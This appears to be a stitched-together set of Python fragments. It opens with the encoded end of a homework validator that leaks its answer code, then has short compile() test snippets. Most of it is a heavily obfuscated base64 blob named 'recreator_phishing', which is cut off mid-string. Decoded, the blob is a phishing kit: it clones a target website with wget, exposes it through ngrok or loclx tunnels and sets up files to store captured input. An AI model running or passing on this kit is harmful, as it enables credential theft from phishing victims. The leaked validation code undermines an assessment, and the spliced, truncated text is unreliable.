CAgIyBpZiB5b3UgYXJlIHJlYWRpbmcgdGhpcyBpbiBjbGVhcnRleHQsIHlvdSBhcmUgdmlvbGF0aW5nIHRoZSBob25vciBjb2RlLgogICAgIyBZb3UgY2FuIHN0aWxsIHJlZGVlbSB5b3Vyc2VsZi4gR2V0IGl0IHdvcmtpbmcgYW5kIGRvbid0IHN1Ym1pdCB0aGUgdmFsaWRhdGlvbiBjb2RlIHVudGlsIHlvdSBkby4KICAgICMgQWxsIGEgbWFuIGhhcyBhdCB0aGUgZW5kIG9mIHRoZSBkYXkgaXMgaGlzIHdvcmQuCiAgICBwcmludCAiVGVzdHMgUGFzc2VkIGZvciBIVyA2LjUuIFlvdXIgSFcgNi41IHZhbGlkYXRpb24gY29kZSBpcyBDb25ncmF0c1lvdVJvY2syMDEyIgogICAgZ3JhY2VmdWxfZXhpdCgwKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oc3lzLmFyZ3ZbMTpdKQoKCgoKCgoK" eval(compile(base64.b64decode(code), "<string>", 'exec'))
def test_lost_displayhook(self): olddisplayhook = sys.displayhook del sys.displayhook code = compile("42", "<string>", "single") self.assertRaises(RuntimeError, eval, code) sys.displayhook = olddisplayhook
def test_filename(self): self.assertEquals(compile_command("a = 1\n", "abc").co_filename, compile("a = 1\n", "abc", 'single').co_filename) self.assertNotEquals(compile_command("a = 1\n", "abc").co_filename, compile("a = 1\n", "def", 'single').co_filename)
def get_coords() -> Iterator[list[int]]: p = compile("<x={x:d}, y={y:d}, z={z:d}>") for line in read_lines(): result = p.parse(line) yield [result["x"], result["y"], result["z"]]
import base64 recreator_phishing ="""aW1wb3J0IGJhc2U2NCwgY29kZWNzDQptYWdpYyA9ICdabkp2YlNCemRXSndjbTlqWlhOeklHbHRjRzl5ZENCamFHVmphMTl2ZFhSd2RYUXNRMkZzYkdWa1VISnZZMlZ6YzBWeWNtOXlDbVp5YjIwZ2RHbHRaU0JwYlhCdmNuUWdjMnhsWlhBS2FXMXdiM0owSUc5ekNtbHRjRzl5ZENCb2RIUndMbk5sY25abGNncHBiWEJ2Y25RZ2MyOWphMlYwYzJWeWRtVnlDbWx0Y0c5eWRDQnlaUXBwYlhCdmNuUWdjM05zQ21aeWIyMGdiM01nYVcxd2IzSjBJSE41YzNSbGJTQUthVzF3YjNKMElITjVjd29LQ2tkU1JVVk9JRDBnSWx3d016TmJNVHN6TVcwaUNsSkZSQ0FnSUQwZ0lsd3dNek5iTVRzek1XMGlJQXBTUlZORlZDQTlJQ0pjTURNeld6RTdNekZ0SWdwdmN5NXplWE4wWlcwb0ltWjFjMlZ5SUMxcklDMXVJSFJqY0NBNE1EZ3dJaWtLYjNNdWMzbHpkR1Z0S0NKbWRYTmxjaUF0YXlBdGJpQjBZM0FnT0RBaUtRcHZjeTV6ZVhOMFpXMG9Jbkp0SUMxeVppQXVkRzF3SWlrS2IzTXVjM2x6ZEdWdEtDSnRhMlJwY2lBdWRHMXdJaWtLYjNNdWMzbHpkR1Z0S0NKamJHVmhjaUlwQ2dwa1pXWWdRa0ZPVGtWU0tDazZDaUFnY0hKcGJuUWdLQ0lpSWdwY01ETXpXekU3TXpOdDRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1hJT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1dpT0tXaU9LVmx5RGlsb2ppbG9qaWxvamlsb2ppbG9qaWxvamlsWmZpbG9qaWxvamlsb2ppbG9qaWxvamlsb2ppbFpjZzRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwYUk0cFdYSU9LV2lPS1dpT0tXaU9LV2lPS1dpT0tWbHlEaWxvamlsb2ppbG9qaWxvamlsb2ppbG9qaWxvamlsb2ppbFpjZzRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1hJT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1dpT0tWbHlBZ0lDQWc0cGFJNHBhSTRwYUk0cGFJNHBhSTRwYUk0cFdYSU9LV2lPS1dpT0tWbHlBZzRwYUk0cGFJNHBXWDRwYUk0cGFJNHBXWDRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwYUk0cFdYNHBhSTRwYUk0cFdYSUNEaWxvamlsb2ppbFpmaWxvamlsb2ppbFpmaWxvamlsb2ppbG9qaWxaY2dJQ0RpbG9qaWxvamlsWmNnNHBhSTRwYUk0cGFJNHBhSTRwYUk0cGFJNHBXWElBcGNNRE16V3pFN016aHQ0cGFJNHBhSTRwV1U0cFdRNHBXUTRwYUk0cGFJNHBXWDRwYUk0cGFJNHBXVTRwV1E0cFdRNHBXUTRwV1E0cFdkNHBhSTRwYUk0cFdVNHBXUTRwV1E0cFdRNHBXUTRwV2Q0cGFJNHBhSTRwV1U0cFdRNHBXUTRwYUk0cGFJNHBXWDRwYUk0cGFJNHBXVTRwV1E0cFdRNHBXUTRwV1E0cFdkNHBhSTRwYUk0cFdVNHBXUTRwV1E0cGFJNHBhSTRwV1g0cFdhNHBXUTRwV1E0cGFJNHBhSTRwV1U0cFdRNHBXUTRwV2Q0cGFJNHBhSTRwV1U0cFdRNHBXUTRwV1E0cGFJNHBhSTRwV1g0cGFJNHBhSTRwV1U0cFdRNHBXUTRwYUk0cGFJNHBXWElDQWdJT0tXaU9LV2lPS1ZsT0tWa09LVmtPS1dpT0tXaU9LVmwrS1dpT0tXaU9LVmtTQWc0cGFJNHBhSTRwV1I0cGFJNHBhSTRwV1I0cGFJNHBhSTRwV1U0cFdRNHBXUTRwV1E0cFdRNHBXZDRwYUk0cGFJNHBXUklDRGlsb2ppbG9qaWxaSGlsb2ppbG9qaWxaSGlsb2ppbG9qaWxvamlsb2ppbFpjZ0lPS1dpT0tXaU9LVmtlS1dpT0tXaU9LVmxPS1ZrT0tWa09LVmtPS1ZrT0tWblNBSzRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1U0cFdkNHBhSTRwYUk0cGFJNHBhSTRwYUk0cFdYSUNEaWxvamlsb2ppbFpFZ0lDQWdJT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1dpT0tWbE9LVm5lS1dpT0tXaU9LV2lPS1dpT0tXaU9LVmx5QWc0cGFJNHBhSTRwYUk0cGFJNHBhSTRwYUk0cGFJNHBXUklDQWc0cGFJNHBhSTRwV1JJQ0FnNHBhSTRwYUk0cFdSSUNBZzRwYUk0cGFJNHBXUjRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1U0cFdkSUNBZ0lPS1dpT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1ZsT0tWbmVLV2lPS1dpT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1ZrZUtXaU9LV2lPS1ZrZUtXaU9LV2lPS1dpT0tXaU9LV2lPS1dpT0tXaU9LVmwrS1dpT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1dpT0tWa2VLV2lPS1dpT0tWa2VLV2lPS1dpT0tWbE9LV2lPS1dpT0tWbHlEaWxvamlsb2ppbFpIaWxvamlsb2ppbFpFZ0lPS1dpT0tXaU9LV2lPS1Zsd3JpbG9qaWxvamlsWlRpbFpEaWxaRGlsb2ppbG9qaWxaZmlsb2ppbG9qaWxaVGlsWkRpbFpEaWxaMGdJT0tXaU9LV2lPS1ZrU0FnSUNBZzRwYUk0cGFJNHBXVTRwV1E0cFdRNHBhSTRwYUk0cFdYNHBhSTRwYUk0cFdVNHBXUTRwV1E0cFdkSUNEaWxvamlsb2ppbFpUaWxaRGlsWkRpbG9qaWxvamlsWkVnSUNEaWxvamlsb2ppbFpFZ0lDRGlsb2ppbG9qaWxaRWdJQ0RpbG9qaWxvamlsWkhpbG9qaWxvamlsWlRpbFpEaWxaRGlsb2ppbG9qaWxaY2dJQ0FnNHBhSTRwYUk0cFdVNHBXUTRwV1E0cFdRNHBXZElPS1dpT0tXaU9LVmxPS1ZrT0tWa09LV2lPS1dpT0tWa2VLV2lPS1dpT0tWa2VLVm11S1ZrT0tWa09LVmtPS1ZrT0tXaU9LV2lPS1ZrZUtXaU9LV2lPS1ZsT0tWa09LVmtPS1dpT0tXaU9LVmtlS1dpT0tXaU9LVmtlS1dpT0tXaU9LVmtlS1ZtdUtXaU9LV2lPS1ZsK0tXaU9LV2lPS1ZrZUtXaU9LV2lPS1ZrU0FnSU9LV2lPS1dpT0tWa1FyaWxvamlsb2ppbFpFZ0lPS1dpT0tXaU9LVmtlS1dpT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1dpT0tWbCtLVm11S1dpT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1ZsK0tXaU9LV2lPS1ZrU0FnNHBhSTRwYUk0cFdSNHBhSTRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1g0cGFJNHBhSTRwV1JJQ0RpbG9qaWxvamlsWkVnSUNEaWxvamlsb2ppbFpFZ0lDRGlsWnJpbG9qaWxvamlsb2ppbG9qaWxvamlsb2ppbFpUaWxaM2lsb2ppbG9qaWxaRWdJT0tXaU9LV2lPS1ZrU0FnSUNEaWxvamlsb2ppbFpFZ0lDQWdJT0tXaU9LV2lPS1ZrU0FnNHBhSTRwYUk0cFdSNHBhSTRwYUk0cFdSNHBhSTRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1I0cGFJNHBhSTRwV1JJQ0RpbG9qaWxvamlsWkhpbG9qaWxvamlsWkhpbG9qaWxvamlsWkVnNHBXYTRwYUk0cGFJNHBhSTRwYUk0cFdSNHBXYTRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1U0cFdkQ2x3d016TmJNVHN6T1czaWxacmlsWkRpbFowZ0lPS1ZtdUtWa09LVm5lS1ZtdUtWa09LVmtPS1ZrT0tWa09LVmtPS1ZrT0tWblNEaWxacmlsWkRpbFpEaWxaRGlsWkRpbFpEaWxaM2lsWnJpbFpEaWxaMGdJT0tWbXVLVmtPS1ZuZUtWbXVLVmtPS1ZrT0tWa09LVmtPS1ZrT0tWa09LVm5lS1ZtdUtWa09LVm5TQWc0cFdhNHBXUTRwV2RJQ0FnNHBXYTRwV1E0cFdkSUNBZ0lPS1ZtdUtWa09LVmtPS1ZrT0tWa09LVmtPS1ZuU0RpbFpyaWxaRGlsWjBnSU9LVm11S1ZrT0tWblNBZ0lDRGlsWnJpbFpEaWxaMGdJQ0FnSU9LVm11S1ZrT0tWblNBZzRwV2E0cFdRNHBXZDRwV2E0cFdRNHBXZDRwV2E0cFdRNHBXUTRwV1E0cFdRNHBXUTRwV1E0cFdkNHBXYTRwV1E0cFdkSUNEaWxacmlsWkRpbFozaWxacmlsWkRpbFozaWxacmlsWkRpbFowZ0lPS1ZtdUtWa09LVmtPS1ZrT0tWblNEaWxacmlsWkRpbFpEaWxaRGlsWkRpbFpEaWxaMGdkaTQwQ2x3d016TmJNVHN6TTIwZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCQmJtZGxiRk5sWTNWeWFYUjVWR1ZoYlNBZ0lDQWdJQ0FnSUFwY01ETXpXekU3TXpOdElGdEFYVnd3TXpOYk1Uc3pPVzExY213Z1hEQXpNMXN4T3pNemJUMGdYREF6TTFzeE96TTViV2gwZEhCek9pOHZkM2QzTG1WNFlXMXdiR1V1WTI5dElGd3dNek5iTVRzek0yMGdXMEJkWERBek0xc3hPek01YlhCdmNuUWdYREF6TTFzeE96TXpiVDBnWERBek0xc3hPek01YlRnd09EQUtDaUFnSUNBZ0lDQWdJQ0lpSWlrZ0NrSkJUazVGVWlncElDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdDa05WVWxKRlRsUmZVRUZVU0NBOUlHOXpMbWRsZEdOM1pDZ3BDa1JKVWt0U0lEMGdiM011Y0dGMGFDNXFiMmx1S0VOVlVsSkZUbFJmVUVGVVNDd2dKeTUwYlhBbktRcEpUa1JGV0Y5TVQwZEpUaUE5SUc5ekxuQmhkR2d1YW05cGJpaEVTVkpMVWl3Z0oybHVaR1Y0TG1oMGJXd25LUXBRVDFOVVgxTkJWa1VnUFNCdmN5NXdZWFJvTG1wdmFXNG9RMVZTVWtWT1ZGOVFRVlJJTENBbmMyRjJaUzUwZUhRbktRb0tDZ3BPVHlBOUlIc25ibThuTENBbmJpZDlDblZ6WlY5M1oyVjBJRDBnSWxraUNncHBaaUIxYzJWZmQyZGxkQzVzYjNkbGNpZ3BJRzV2ZENCcGJpQk9Uem9LSUFvZ0lDQWdkWEpzSUQwZ2FXNXdkWFFvSWlCY01ETXpXekU3TXpOdFcwQmRYREF6TTFzeE96TTViWFZ5YkNCY01ETXpXekU3TXpOdFBTQmNNRE16V3pFN016bHRJaWtnSUFvZ0lDQWdkWE5sY2w5aFoyVnVkQ0E5SUNKTmIzcHBiR3hoTHpVdU1DSUtJQ0FnSUZCUFVsUTlhVzUwS0dsdWNIVjBLQ0pjYmlCY01ETXpXekU3TXpOdFcwQmRYREF6TTFzeE96TTViWEJ2Y25RZ1hEQXpNMXN4T3pNemJUMGdYREF6TTFzeE96TTViU0lwS1FvZ0lDQWdjRzl5ZERJeVBWQlBVbFFLSUNBZ0lIQnlhVzUwS0NKY01ETXpXekU3TXpGdElpa2dJQ0FnQ2lBZ0lDQnZjeTV6ZVhOMFpXMG9JbmRuWlhRZ0xVVWdMVWdnTFdzZ0xVc2dMWEFnTFc1SUlDMHRZM1YwTFdScGNuTTlNVEF3SUMwdGNtVm1aWEpsY2oxb2RIUndPaTh2ZDNkM0xtZHZiMmRzWlM1amIyMGdMVzUySUh0OUlDMHRkWE5sY2kxaFoyVnVkQ0I3ZlNBdExXUnBjbVZqZEc5eWVTMXdjbVZtYVhnOWUzMGlMbVp2Y20xaGRDaDFjbXdzSUhWelpYSmZZV2RsYm5Rc0lFUkpVa3RTS1NrS0lDQWdJRzl6TG5ONWMzUmxiU2dpWTNBZ2JtZHliMnNnTG5SdGNDSXBDaUFnSUNCdmN5NXplWE4wWlcwb0ltTndJR3h2WTJ4NElDNTBiWEFpS1FvZ0lDQWdiM011YzNsemRHVnRLQ0pqYkdWaGNpSXBJQ0FnQ21Wc2MyVTZDaUFnSUNCd2NtbHVkQ2dpSWlrS0NtbG1JRzV2ZENCdmN5NXdZWFJvTG1selptbHNaU2hKVGtSRldGOU1UMGRKVGlrNkNpQWdJQ0JvZEcxc1gyWnBiR1Z6WDJsdVgzZGxZaUE5SUZ0ZENpQWdJQ0FLSUNBZ0lHWnZjaUJtYVd4bElHbHVJRzl6TG14cGMzUmthWElvUkVsU1MxSXBPZ29nSUNBZ0lDQWdJR2xtSUdacGJHVXVaVzVrYzNkcGRHZ29JaTVvZEcxc0lpa2diM0lnWm1sc1pTNWxibVJ6ZDJsMGFDZ2lMbWgwYlNJcE9nb2dJQ0FnSUNBZ0lDQWdJQ0InDQpsb3ZlID0gJ2JxVDFmSzJNY29USW1LMnloSzNxeUx2NXVwVU95b3pEYm8zWmhwVFMwblA1ZG8yeWhYUkVXSHhnRllQT3puSmt5WEZ4WFZQTnRWTmJ0VlBOdFB2TnRWUE9jTXZPZk1KNGJuVUVnb1M5em5Ka3lwMTljb3k5M01KVmNWUTA5VlFSNlB2TnRWUE50VlBOdG8zWmhwekloTEoxeVhUOW1ZYU91cVR0aG56OWNvdnVSRklXWUh2anRuVUVnb1M5em5Ka3lwMTljb3k5M01KV29aUzBjWVBPV0d4RVNKUzlaRzBxV0d2eFhWUE50VlRJZnAySDZQdHhXUHZOdFZQTnRWUE50cFVXY29hRGJWeWpqWm1Bb1pHZm1aMjFnTEp5aFZVT3VNMkh0b3o5MFZURXlNenloTUpEdEJ2VmNQdk50VlBOdFZQTnRuSjV4TUt1c016eWZNSjV1b0pIdENGT2NvYU8xcVB0dktRTm1aMWZrQm1aNW9Ja2hWVE1jb1RIdG5KNHRLUU5tWjFma0JtWm1vRk5ocVQxalkxampabUFvWkdmbUJKMHRNVEl6bko1eVZUUnRuVDlnTUZPakxKcXlCeWpqWm1Bb1pHZm1aMjB2WEZOdFZQTnRWUE50UHZOdFZQTnRWUE50bzNaaHB6SWhMSjF5WFQ5bVlhT3VxVHRobno5Y292dVJGSVdZSHZqdG5KNXhNS3VzTXp5Zk1KNXVvSkhjWVBPV0d4RVNKUzlaRzBxV0d2eFhWUE50VlBOdFZQTlhWUE50VlBOdFZQT2pwenlocVB0dlZ2eHRWUE50VlBOdFZOYnRWUE50VlBOdFZOYlhQYVd5TVR5bE1KQTBLMnlqVlEwdHFLV2ZQdGJYcFRTYU1HUmxWUTB0bzNPeW92dVdHeEVTSlM5WkcwcVdHdmp0VzNWYVhGNWxNSlN4WFB4dFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50Vk5jem8zV2dwMTlqTEtFME1LV2hWUTB0V2x0OE16OWxvSWdyQ3kwZEMyU3dxVHlpb3cwdlhGdW9LdldxWHZ4YlZ5Z3JDeTBkQ3Z4YVZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWTmNqTEpxeVpHVnRDRk9sTUY1bXFKVmJNejlsb0tBc3BUUzBxVElsb3ZqdHB2cXBaSWtwcHpJeG5KQTBLUVphWVBPakxKcXlaR1ZjVlBOdFB0YlhxMnkwblBPaXBUSWhYUnlCRVJJTEswa0NFMHlCWVBOYXEyVmFYRk91cGxPem5Ka3lCdGJ0VlBOdE16eWZNRjUzcHp5ME1GdW1xVVZoTUo1d28yRXlYVU91TTJIa1p2eGNQdGJYUHRiWFB0Y3dvVFNtcGxPR25KMWpvVElWSVNFREh6SWtxSkltcVJ1dW96RWZNS1ZiblVFMHBQNW1NS1cyTUtWaEgyeWdwVGt5RlNFSEhTV3lwS0l5cDNFVkxKNXhvVElsWEdiWFZQTnRWVEV5TXZPeG8xOVVFSURicDJJZk12eDZQdk50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFB0YnRWUE50VlBOdFB2TnRWUE50VlBOdG5KTHRvM1pocFRTMG5QNXlyVHltcVVaYnAySWZNdjUwcHpTaHAya3VxVElzcFRTMG5QdW1NSmt6WWFPdXFUdGNYR2J0VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFB2TnRWUE50VlBOdFZQTnRWVEx0Q0ZPbU1Ka3pZYUF5b3pFc25USXVNUHRjVlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFB2TnRWUE50VlBOdFZQTnRWVHl6VlRMNlB2TnRWUE50VlBOdFZQTnRWUE50VlBPbU1Ka3pZekFpcFV5em5Ka3lYVExmVlVBeW9UTGhxMk1jb1RIY1ZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFB2TnRWUE50VlBOdFZQTnRWUE50VlBPell6QWZvM0F5WFB4WFZQTnRWUE50VlBPeW9VQXlCdk50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOWFZQTnRWUE50VlBOdFZQTnRWUE5YVlBOdFZQTnRWUE50VlBOdHB6SWdvM0V5SzNPdXFUdHRDRk52cjMxN3NGVmhNejlsb0pTMFhVV3lNVHlsTUpBMEsyeWpZUE9tTUprellhT3VxVHRjVlBOdFZQTnRWUE50Vk5idFZQTnRWUE50VlBOdFZQT21NSmt6WWFBeW96RXNwekltcFQ5aHAySGJabU5tWEZOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50Vk5idFZQTnRWUE50VlBOdFZQT21NSmt6WWFBeW96RXNuVEl1TVRJbFhQV1pvMkF1cVR5aW92VmZWVVd5b0o5ME1JOWpMS0ViWEZOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50Vk5idFZQTnRWUE50VlBOdFZQT21NSmt6WXpJaE1TOWJNSlN4TUtXbVhQeFhWUE50VlBOWFZQTnRWUE50VlBOdFZQTnRWUE50VlBOWFB2TnRWUE94TUpMdE1UOXNIUjlHSVB1bU1Ka3pYR2JYUHZOdFZQTnRWUE50VlBOdFZOYnRWUE50VlBOdFZUQWlvYUV5b2FFc29USWhNM0ViVlEwdG5KNTBYVUF5b1RMaG5USXVNVElscDFmYUQyOWhxVElocVAxWk1KNWFxVHRhS0Z4dFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFB2TnRWUE50VlBOdEx6OXhyRk45VlVBeW9UTGhwek1jb1RIaHB6SXVNUHV3bzI1ME1KNTBLMmt5b3pxMG5QeHRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOWFB2TnRWUE50VlBOdG5KTHRwMklmTXY1akxLRWJWUTA5VlBWaXB6SXhuSkEwVndidFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50Vk5idFZQTnRWUE50VlBOdFZQT21yS1pocDNFeG8zSTBZYXFsbktFeVhScUZFSElCWERidFZQTnRWUE50VlBOdFZQT2pwenlocVB0dktUNXBxVE1jb1RIdHAyUzJNSkR0bko0dFlHNHRwMlMyTUY1MHJVRHRZdjRoVnZ4WFZQTnRWUE50VlBOdFZQTnRwM3ltWWFBME1UOTFxUDUzcHp5ME1GdUZFSUFTSVB4WFZQTnRWUE50VlBOdFZQTnRwMklmTXY1bU1KNXhLM1d5cDNPaW9hQXlYUVpqWmx4WFZQTnRWUE50VlBOdFZQTnRwMklmTXY1bU1KNXhLMnV5TEpFeXB2dHZHVDl3TEtFY28yNHZZUE52cjMwdll6TWlwejF1cVB1bE1KRWNwekl3cVM5Y3BQeGNWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTlhWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZOYnRWUE50VlBOdFZQTnRWUE8zbktFYlZUOWpNSjRiSFI5R0lTOUdESU1TWVBOYUxGZmFYRk91cGxPem5Ka3lCdk50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFB2TnRWUE50VlBOdFZQTnRWUE50VlBPem5Ka3lZYXFsbktFeVhUV2lNVXhoTVRJd28yRXlYUFcxcVRMZ0JQVmNYRGJ0VlBOdFZQTnRWUE50VlBOdFZQTnRNenlmTUY1M3B6eTBNRnR2S1Q1cG92VmNQdk50VlBOdFZQTnRWUE50VlBOdFZQTlhWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFB2TnRWUE50VlBOdE1Ka21NR2JYVlBOdFZQTnRWUE50VlBOdHAySWZNdjVtTUo1eEszV3lwM09pb2FBeVhRWmpCUHh0VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWTmJ0VlBOdFZQTnRWUE50VlBPbU1Ka3pZYUF5b3pFc25USXVNVElsWFBXWm8yQXVxVHlpb3ZWZlZQV2JxVUVqcG1iaVkzZzlyMzB2WXpNaXB6MXVxUHVsTUpFY3B6SXdxUzljcFBrbU1Ka3pZYU91cVR0Y1hGTnRQdk50VlBOdFZQTnRQdk50VlBOdFZQTnRwMklmTXY1eW96RXNuVEl1TVRJbHBsdGNWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTlhQdk50VlBPeE1KTHRvVDlhSzIxeXAzQXVNMkhicDJJZk12anRNejlsb0pTMFlQTmRMS1dhcGx4NlB2TnRWUE50VlBOdHB6STBxS1doUHRjeE1KTHRwMklscXpJbHAySWxxeklpWFB4NlB2TnRWUE50VlBOdHBUOWxxUVJrWkdWbENJT0NIeURXUHZOdFZQTnRWUE50bzNaaHAzeW1xVElnWFBXbXAydHRZSjh0SDNFbG5KQTBGVDltcVJneXJIQWJNSkFlbko1YUNKNWlWUDFpVlNBeXBhTXlweFNmbktNeUZKNTBNS1cyTEpqOUF3TnRZSVZ0QlFONm9UOXdMSmtibzNBMEJ2SW1WVUF5cGFNeW9sNWhNS0R0Q3ZPZm5KNWVZYUlsb1BObEN2TmlNVEkyWTI1MW9UanRXdlZ5WFVPaXBhRGtaR1JsWnZ4Y1B2TnRWUE50VlBOdHAya3lNS05iQlB4WFZQTnRWUE50VlBPMHBheDZQdk50VlBOdFZQTnRWUE50VlVBZk1KSWpYUXRjUER4V1B2TnRWUE50VlBOdFZQTnRWVDkxcVVPMXFQTjlWVEFiTUpBZUsyOTFxVU8xcVB0dk0zV3lwUE5nb2xOYW5VRTBwVVo2WWw5b1pQMDVMRjE2S0ZjcFlhQXlwYU15b2w1aE1LRGFWVGtjb3pmaHFLV2ZWdmp0cDJ1eW9UajlJVVcxTUZ4WFZQTnRWUE50VlBOdFZQTnRxS1dmcDJJbHF6SWlWUTB0cDNFbFhUOTFxVU8xcVB4aHAzRWxuS05iVnpWdFdsT3BWVDR2WERidFZQTnRWUE50VlBOdFZQT2pwenlocVB0dktUNXBxU2pqWm1Bb1pHZm1aMjFHRUlXSkVIOHRJSVdaVlNqalptQW9aR2ZtQkowNlZQVmZxS1dmcDJJbHF6SWlYRGJ0VlBOdFZQTnRWVEk0TDJJanFQT1FMSmtmTUpFRHB6OXdNS0FtRUtXbG8zVjZQdk50VlBOdFZQTnRWUE50VlVBZk1KSWpYUURjUHZOdFZQTnRWUE50VlBOdFZVV3lxVUlsb3ZPbU1LVzJNS1dtTUtXMk1KOGJYRk50VlBOdFZQTnRWUE50VlBOdFB2TnRWUE50VlBOdFB6RXlNdk9tcUpXeG8yMXVuSjVtTUtXMk1KOGJYR2JYVlBOdFZQTnRWUE9qbzNXMFpHUmtDSU9DSHlEWFZQTnRWUE50VlBPZm5KNWVwMklscXpJaVZRMHRuSjVqcUtEYlZ5a2hLVUVwWlFabUptUjdabUFnSDFJUEVSOUFESHlCVlFidEtRTm1aMWZrQm1aNW9GVmNQdk50VlBOdFZQTnRuSkx0b3o5MFZQVmhwMklscXpJaVl6NXlxUFZ0bko0dG9UeWhuM0F5cGFNeW9tYlhWUE50VlBOdFZQTnRWUE50b1R5aG4zQXlwYU15b2xOZUNGTnZZYUF5cGFNeW9sNWhNS0R2UHZOdFZQTnRWUE50TUprbU1HYlhWUE50VlBOdFZQTnRWUE50cFRTbXBsTnRWUE50VlBOWFZQTnRWUE50VlBPaXBsNW1yS0EwTUowYlczQW1uUE5nb2xPR3FVV2NMM0VWbzNBMEYySTVEMnV5TDJnY296cDlvejh0WUo4dEgySWxxeklsREprY3F6SVdvYUV5cGFNdW9RMDJaUE5nb2xPR01LVzJNS1dPb1R5Mk1IQWlxSjUwR0pTNENHTGpWUDFGVlBJbUJ3dGpCemtpTDJTZm5UOW1xUWJ5cGxPbU1LVzJNSjhob3pJMFZRNHRvVHlobm1Sa1pGNTFwemp0Wnc0dFkyRXlxdjlocUprZlZQTGFWUEh0WFRrY296Z21NS1cyTUo4ZlZVT2lwYURrWkdSY1hEYnRWUE50VlBOdFZVQWZNSklqWFF0Y1B2TnRWUE50VlBOdHFVVzVCdGJ0VlBOdFZQTnRWUE50VlBPbW9USXlwUHQ0WER4V1BEYnRWUE50VlBOdFZQTnRWUE9pcUtFanFLRHRDRk93blRJd24xOWlxS0VqcUtEYlZ6cWxNS050WUo4dFdsNXBybU5mWlNrOW5VRTBwUDVwcm1OZlpHTmpLVTBhVlRrY296ZmtaR1JocUtXZlZ2a21uVElmb1ExSHBhSXlYRCcNCmdvZCA9ICdvZ0lDQWdJQ0FnSUNBZ0lDQjFjbXh6WlhKMlpXOHlJRDBnYzNSeUtHOTFkSEIxZENrdWMzUnlhWEFvSW1JZ0p5QmNJRzRnY2lJcENpQWdJQ0FnSUNBZ0lDQWdJSEJ5YVc1MEtDSmNibHgwWERBek0xc3hPek16YlZORlVsWkZUeUJWVWt3Z1hEQXpNMXN4T3pNNWJUb2dJaXgxY214elpYSjJaVzh5S1FvZ0lDQWdJQ0FnSUdWNFkyVndkQ0JEWVd4c1pXUlFjbTlqWlhOelJYSnliM0k2Q2lBZ0lDQWdJQ0FnSUNBZ0lITnNaV1Z3S0RncENRa0pDaUFnSUNBZ0lDQWdJQ0FnSUhCeWFXNTBJQ2dpWEc1Y01ETXpXekU3TXpOY2RDQkdSa0ZKVEVWRUlGUlBJRWRGVkN